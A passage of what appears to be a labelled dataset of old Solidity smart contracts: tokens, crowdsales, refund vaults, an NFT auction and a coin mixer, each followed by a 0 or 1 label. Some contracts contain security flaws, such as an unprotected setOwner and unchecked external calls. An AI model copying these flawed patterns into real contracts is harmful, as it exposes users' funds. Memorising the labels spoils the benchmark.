public { require(_paused); _paused = false; Unpause(); } } contract MigrationAgent { function migrateFrom(address _from, uint256 _value) public; } contract BlockedToken is Ownable { using SafeMath for uint256; struct locked {uint256 value; uint256 date;} mapping (address => locked) locks; function blikedUntil(address _owner) external constant returns (uint256) { if(now < locks[_owner].date) { return locks[_owner].date; }else{ return 0; } } function valueBlocked(address _owner) public constant returns (uint256) { if(now < locks[_owner].date) { return locks[_owner].value; }else{ return 0; } } function changeLock(address _owner, uint256 _value, uint256 _date) external onlyOwner { locks[_owner] = locked(_value,_date); } } contract TokenL is Pausable, BlockedToken { using SafeMath for uint256; string public constant name = "Imigize"; string public constant symbol = "IMGZ"; uint8 public constant decimals = 18; uint256 public totalSupply; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public unpausedWallet; bool public mintingFinished = false; uint256 public totalMigrated; address public migrationAgent; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); event Migrate(address indexed _from, address indexed _to, uint256 _value); modifier canMint() { require(!mintingFinished); _; } function TokenL() public{ owner = 0x0; } function setOwner() public{ require(owner == 0x0); owner = msg.sender; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { uint256 available = balances[msg.sender].sub(valueBlocked(msg.sender)); require(_value <= available); require (_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { uint256 available = balances[_from].sub(valueBlocked(_from)); require(_value <= available); var _allowance = allowed[_from][msg.sender]; require (_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } function paused() public constant returns(bool) { return super.paused() && !unpausedWallet[msg.sender]; } function addUnpausedWallet(address _wallet) public onlyOwner { unpausedWallet[_wallet] = true; } function delUnpausedWallet(address _wallet) public onlyOwner { unpausedWallet[_wallet] = false; } function setMigrationAgent(address _migrationAgent) public onlyOwner { require(migrationAgent == 0x0); migrationAgent = _migrationAgent; } function migrateAll(address[] _holders) public onlyOwner { require(migrationAgent != 0x0); uint256 total = 0; uint256 value; for(uint i = 0; i < _holders.length; i++){ value = balances[_holders[i]]; if(value > 0){ balances[_holders[i]] = 0; total = total.add(value); MigrationAgent(migrationAgent).migrateFrom(_holders[i], value); Migrate(_holders[i],migrationAgent,value); } totalSupply = totalSupply.sub(total); totalMigrated = totalMigrated.add(total); } } function migration(address _holder) internal { require(migrationAgent != 0x0); uint256 value = balances[_holder]; require(value > 0); balances[_holder] = 0; totalSupply = totalSupply.sub(value); totalMigrated = totalMigrated.add(value); MigrationAgent(migrationAgent).migrateFrom(_holder, value); Migrate(_holder,migrationAgent,value); } function migrate() public { migration(msg.sender); } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); event Deposited(address indexed beneficiary, uint256 weiAmount); function RefundVault() public { state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); Deposited(investor,msg.value); } function close(address _wallet) onlyOwner public { require(state == State.Active); require(_wallet != 0x0); state = State.Closed; Closed(); _wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); require(deposited[investor] > 0); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } function del(address _wallet) external onlyOwner { selfdestruct(_wallet); } } contract DistributorRefundVault is RefundVault{ address public taxCollector; uint256 public taxValue; function DistributorRefundVault(address _taxCollector, uint256 _taxValue) RefundVault() public{ taxCollector = _taxCollector; taxValue = _taxValue; } function close(address _wallet) onlyOwner public { require(state == State.Active); require(_wallet != 0x0); state = State.Closed; Closed(); uint256 allPay = this.balance; uint256 forTarget1; uint256 forTarget2; if(taxValue <= allPay){ forTarget1 = taxValue; forTarget2 = allPay.sub(taxValue); taxValue = 0; }else { taxValue = taxValue.sub(allPay); forTarget1 = allPay; forTarget2 = 0; } if(forTarget1 != 0){ taxCollector.transfer(forTarget1); } if(forTarget2 != 0){ _wallet.transfer(forTarget2); } } } contract SVTAllocation { using SafeMath for uint256; TokenL public token; address public owner; uint256 public unlockedAt; function SVTAllocation(TokenL _token, address _owner) public{ unlockedAt = now + 1 years; token = _token; owner = _owner; } function changeToken(TokenL _token) external{ require(msg.sender == owner); token = _token; } function unlock() external{ require(now >= unlockedAt); require(token.transfer(owner,token.balanceOf(this))); } }
0
pragma solidity ^0.4.6; contract Presale { string public constant VERSION = "0.1.4-beta"; uint public constant PRESALE_START = 3125250; uint public constant PRESALE_END = 3125260; uint public constant WITHDRAWAL_END = 3125270; address public constant OWNER = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4; uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1; uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5; uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1; string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ]; enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED } uint public total_received_amount; mapping (address => uint) public balances; uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether; uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether; uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney; bool public isAborted = false; function Presale () validSetupOnly() { } function () payable noReentrancy { State state = currentState(); if (state == State.PRESALE_RUNNING) { receiveFunds(); } else if (state == State.REFUND_RUNNING) { sendRefund(); } else { throw; } } function refund() external inState(State.REFUND_RUNNING) noReentrancy { sendRefund(); } function withdrawFunds() external inState(State.WITHDRAWAL_RUNNING) onlyOwner noReentrancy { if (!OWNER.send(this.balance)) throw; } function abort() external inStateBefore(State.REFUND_RUNNING) onlyOwner { isAborted = true; } function state() external constant returns (string) { return stateNames[ uint(currentState()) ]; } function sendRefund() private tokenHoldersOnly { var amount_to_refund = balances[msg.sender] + msg.value; balances[msg.sender] = 0; if (!msg.sender.send(amount_to_refund)) throw; } function receiveFunds() private notTooSmallAmountOnly { if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) { var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE; if (!msg.sender.send(change_to_return)) throw; var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount; balances[msg.sender] += acceptable_remainder; total_received_amount += acceptable_remainder; } else { balances[msg.sender] += msg.value; total_received_amount += msg.value; } } function currentState() private constant returns (State) { if (isAborted) { return this.balance > 0 ? State.REFUND_RUNNING : State.CLOSED; } else if (block.number < PRESALE_START) { return State.BEFORE_START; } else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) { return State.PRESALE_RUNNING; } else if (this.balance == 0) { return State.CLOSED; } else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) { return State.WITHDRAWAL_RUNNING; } else { return State.REFUND_RUNNING; } } modifier inState(State state) { if (state != currentState()) throw; _; } modifier inStateBefore(State state) { if (currentState() > state) throw; _; } modifier validSetupOnly() { if ( OWNER == 0x0 || PRESALE_START == 0 || PRESALE_END == 0 || WITHDRAWAL_END ==0 || PRESALE_START <= block.number || PRESALE_START >= PRESALE_END || PRESALE_END >= WITHDRAWAL_END || MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE ) throw; _; } modifier onlyOwner(){ if (msg.sender != OWNER) throw; _; } modifier tokenHoldersOnly(){ if (balances[msg.sender] == 0) throw; _; } modifier notTooSmallAmountOnly(){ if (msg.value < MIN_ACCEPTED_AMOUNT) throw; _; } bool private locked = false; modifier noReentrancy() { if (locked) throw; locked = true; _; locked = false; } }
1
pragma solidity ^0.4.24; contract ERC165Interface { function supportsInterface(bytes4 interfaceID) external view returns (bool); } contract ERC165 is ERC165Interface { mapping(bytes4 => bool) private _supportedInterfaces; function supportsInterface(bytes4 interfaceId) external view returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff); _supportedInterfaces[interfaceId] = true; } } contract ERC721Basic is ERC165 { event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256); function ownerOf(uint256 _tokenId) public view returns (address); function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; function approve(address _approved, uint256 _tokenId) external; function setApprovalForAll(address _operator, bool _approved) external; function getApproved(uint256 _tokenId) public view returns (address); function isApprovedForAll(address _owner, address _operator) public view returns (bool); function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) external view returns (string); function totalSupply() public view returns (uint256); } contract ERC721TokenReceiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns (bytes4); } contract ERC721Holder is ERC721TokenReceiver { function onERC721Received(address, address, uint256, bytes) public returns (bytes4) { return this.onERC721Received.selector; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract AuctionBase is ERC721Holder { using SafeMath for uint256; struct Auction { address seller; uint128 price; uint64 startedAt; } ERC721Basic public nonFungibleContract; uint256 public ownerCut; mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 price); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address bidder); event AuctionCanceled(uint256 tokenId); function() external {} modifier canBeStoredWith64Bits(uint256 _value) { require(_value <= (2**64 - 1)); _; } modifier canBeStoredWith128Bits(uint256 _value) { require(_value <= (2**128 - 1)); _; } function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.safeTransferFrom(_owner, this, _tokenId); } function _transfer(address _receiver, uint256 _tokenId) internal { nonFungibleContract.safeTransferFrom(this, _receiver, _tokenId); } function _addAuction(uint256 _tokenId, Auction _auction) internal { tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId), uint256(_auction.price) ); } function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCanceled(_tokenId); } function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); uint256 price = _currentPrice(auction); require(_bidAmount >= price); address seller = auction.seller; _removeAuction(_tokenId); if (price > 0) { uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price.sub(auctioneerCut); seller.transfer(sellerProceeds); } uint256 bidExcess = _bidAmount - price; msg.sender.transfer(bidExcess); emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } function _currentPrice(Auction storage _auction) internal view returns (uint256) { return _auction.price; } function _computeCut(uint256 _price) internal view returns (uint256) { return _price * ownerCut / 10000; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract Auction is Pausable, AuctionBase { function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); nftAddress.transfer(address(this).balance); } function createAuction( uint256 _tokenId, uint256 _price, address _seller ) external whenNotPaused canBeStoredWith128Bits(_price) { require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_price), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable whenNotPaused { _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } function cancelAuction(uint256 _tokenId, address _seller) external { require(msg.sender == address(nonFungibleContract)); Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(_seller == seller); _cancelAuction(_tokenId, seller); } function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 price, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.price, auction.startedAt ); } function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } contract SynthesizingAuction is Auction { bool public isSynthesizingAuction = true; constructor(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721Basic candidateContract = ERC721Basic(_nftAddress); nonFungibleContract = candidateContract; } function createAuction( uint256 _tokenId, uint256 _price, address _seller ) external canBeStoredWith128Bits(_price) { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_price), uint64(now) ); _addAuction(_tokenId, auction); } function bid(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; _bid(_tokenId, msg.value); _transfer(seller, _tokenId); } }
0
contract yums { string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function yums() { initialSupply = 1000000000000000000000000000; name ="Yums"; decimals = 18; symbol = "YUMS"; balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; } function () { revert(); } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30153600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x28f8CFBF792CaD8c5636FB6f6af50F2cC6a6b8Ba; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.8; contract Token{ uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract NineStandardToken is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = '0.1'; function NineStandardToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
1
pragma solidity ^0.4.16; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Csts is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function Csts( ) { balances[msg.sender] = 17000000000000000000000000000; totalSupply = 17000000000000000000000000000; name = "Csandts"; decimals = 18; symbol = "Csts"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.0; contract ArithLib { function jdouble(uint _ax, uint _ay, uint _az) constant returns (uint, uint, uint); function jadd(uint _ax, uint _ay, uint _az, uint _bx, uint _by, uint _bz) constant returns (uint, uint, uint); function jsub(uint _ax, uint _ay, uint _az, uint _bx, uint _by, uint _bz) constant returns (uint, uint, uint); function jmul(uint _bx, uint _by, uint _bz, uint _n) constant returns (uint, uint, uint); function jexp(uint _b, uint _e, uint _m) constant returns (uint); function jrecover_y(uint _x, uint _y_bit) constant returns (uint); function jdecompose(uint _q0, uint _q1, uint _q2) constant returns (uint, uint); function isbit(uint _data, uint _bit) constant returns (uint); function hash_pubkey_to_pubkey(uint _pub1, uint _pub2) constant returns (uint, uint); } contract Laundromat { struct WithdrawInfo { address sender; uint Ix; uint Iy; uint[] signature; uint[] ring1; uint[] ring2; uint step; uint prevStep; } uint constant internal safeGas = 25000; uint constant internal P = 115792089237316195423570985008687907853269984665640564039457584007908834671663; uint constant internal Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240; uint constant internal Gy = 32670510020758816978083085130507043184471273380659243275938904335757337482424; address private owner; bool private atomicLock; address internal constant arithAddress = 0x600ad7b57f3e6aeee53acb8704a5ed50b60cacd6; ArithLib private arithContract; mapping (uint => WithdrawInfo) private withdraws; mapping (uint => bool) private consumed; uint public participants = 0; uint public payment = 0; uint public gotParticipants = 0; uint[] public pubkeys1; uint[] public pubkeys2; event LogDebug(string message); function Laundromat(uint _participants, uint _payment) { owner = msg.sender; arithContract = ArithLib(arithAddress); participants = _participants; payment = _payment; } function safeSend(address addr, uint value) internal { if(atomicLock) throw; atomicLock = true; if (!(addr.call.gas(safeGas).value(value)())) { atomicLock = false; throw; } atomicLock = false; } function deposit(uint _pubkey1, uint _pubkey2) payable { if(gotParticipants >= participants) throw; pubkeys1.push(_pubkey1); pubkeys2.push(_pubkey2); gotParticipants++; } function withdrawStart(uint[] _signature, uint _x0, uint _Ix, uint _Iy) { if(gotParticipants < participants) throw; if(consumed[uint(sha3([_Ix, _Iy]))]) throw; WithdrawInfo withdraw = withdraws[uint(msg.sender)]; withdraw.sender = msg.sender; withdraw.Ix = _Ix; withdraw.Iy = _Iy; withdraw.signature = _signature; withdraw.ring1.length = 0; withdraw.ring2.length = 0; withdraw.ring1.push(_x0); withdraw.ring2.push(uint(sha3(_x0))); withdraw.step = 1; withdraw.prevStep = 0; } function withdrawStep() { WithdrawInfo withdraw = withdraws[uint(msg.sender)]; if(withdraw.step < 1) throw; if(withdraw.step > participants) throw; if(consumed[uint(sha3([withdraw.Ix, withdraw.Iy]))]) throw; uint k1x; uint k1y; uint k1z; uint k2x; uint k2y; uint k2z; uint pub1x; uint pub1y; (k1x, k1y, k1z) = arithContract.jmul(Gx, Gy, 1, withdraw.signature[withdraw.prevStep % participants]); (k2x, k2y, k2z) = arithContract.jmul( pubkeys1[withdraw.step % participants], pubkeys2[withdraw.step % participants], 1, withdraw.ring2[withdraw.prevStep % participants]); (k1x, k1y, k1z) = arithContract.jsub(k1x, k1y, k1z, k2x, k2y, k2z); (pub1x, pub1y) = arithContract.jdecompose(k1x, k1y, k1z); (k1x, k1y) = arithContract.hash_pubkey_to_pubkey( pubkeys1[withdraw.step % participants], pubkeys2[withdraw.step % participants]); (k1x, k1y, k1z) = arithContract.jmul(k1x, k1y, 1, withdraw.signature[withdraw.prevStep % participants]); (k2x, k2y, k2z) = arithContract.jmul(withdraw.Ix, withdraw.Iy, 1, withdraw.ring2[withdraw.prevStep % participants]); (k1x, k1y, k1z) = arithContract.jsub(k1x, k1y, k1z, k2x, k2y, k2z); (k1x, k1y) = arithContract.jdecompose(k1x, k1y, k1z); withdraw.ring1.push(uint(sha3([uint(withdraw.sender), pub1x, pub1y, k1x, k1y]))); withdraw.ring2.push(uint(sha3(uint(sha3([uint(withdraw.sender), pub1x, pub1y, k1x, k1y]))))); withdraw.step++; withdraw.prevStep++; } function withdrawFinal() returns (bool) { WithdrawInfo withdraw = withdraws[uint(msg.sender)]; if(withdraw.step != (participants + 1)) throw; if(consumed[uint(sha3([withdraw.Ix, withdraw.Iy]))]) throw; if(withdraw.ring1[participants] != withdraw.ring1[0]) { LogDebug("Wrong signature"); return false; } if(withdraw.ring2[participants] != withdraw.ring2[0]) { LogDebug("Wrong signature"); return false; } withdraw.step++; consumed[uint(sha3([withdraw.Ix, withdraw.Iy]))] = true; safeSend(withdraw.sender, payment); return true; } function () { throw; } }
0
pragma solidity ^0.4.20; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract InvestorWhiteList is Ownable { mapping (address => bool) public investorWhiteList; mapping (address => address) public referralList; function InvestorWhiteList() { } function addInvestorToWhiteList(address investor) external onlyOwner { require(investor != 0x0 && !investorWhiteList[investor]); investorWhiteList[investor] = true; } function removeInvestorFromWhiteList(address investor) external onlyOwner { require(investor != 0x0 && investorWhiteList[investor]); investorWhiteList[investor] = false; } function addReferralOf(address investor, address referral) external onlyOwner { require(investor != 0x0 && referral != 0x0 && referralList[investor] == 0x0 && investor != referral); referralList[investor] = referral; } function isAllowed(address investor) constant external returns (bool result) { return investorWhiteList[investor]; } function getReferralOf(address investor) constant external returns (address result) { return referralList[investor]; } }
1
pragma solidity ^0.4.21; contract VernamWhiteListDeposit { address[] public participants; address public benecifiary; mapping (address => bool) public isWhiteList; uint256 public constant depositAmount = 10000000000000000 wei; uint256 public constant maxWiteList = 9960; uint256 public deadLine; uint256 public constant whiteListPeriod = 9 days; constructor() public { benecifiary = 0x769ef9759B840690a98244D3D1B0384499A69E4F; deadLine = block.timestamp + whiteListPeriod; } event WhiteListSuccess(address indexed _whiteListParticipant, uint256 _amount); function() public payable { require(participants.length <= maxWiteList); require(block.timestamp <= deadLine); require(msg.value >= depositAmount); require(!isWhiteList[msg.sender]); benecifiary.transfer(msg.value); isWhiteList[msg.sender] = true; participants.push(msg.sender); emit WhiteListSuccess(msg.sender, msg.value); } function getParticipant() public view returns (address[]) { return participants; } function getCounter() public view returns(uint256 _counter) { return participants.length; } }
1
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address 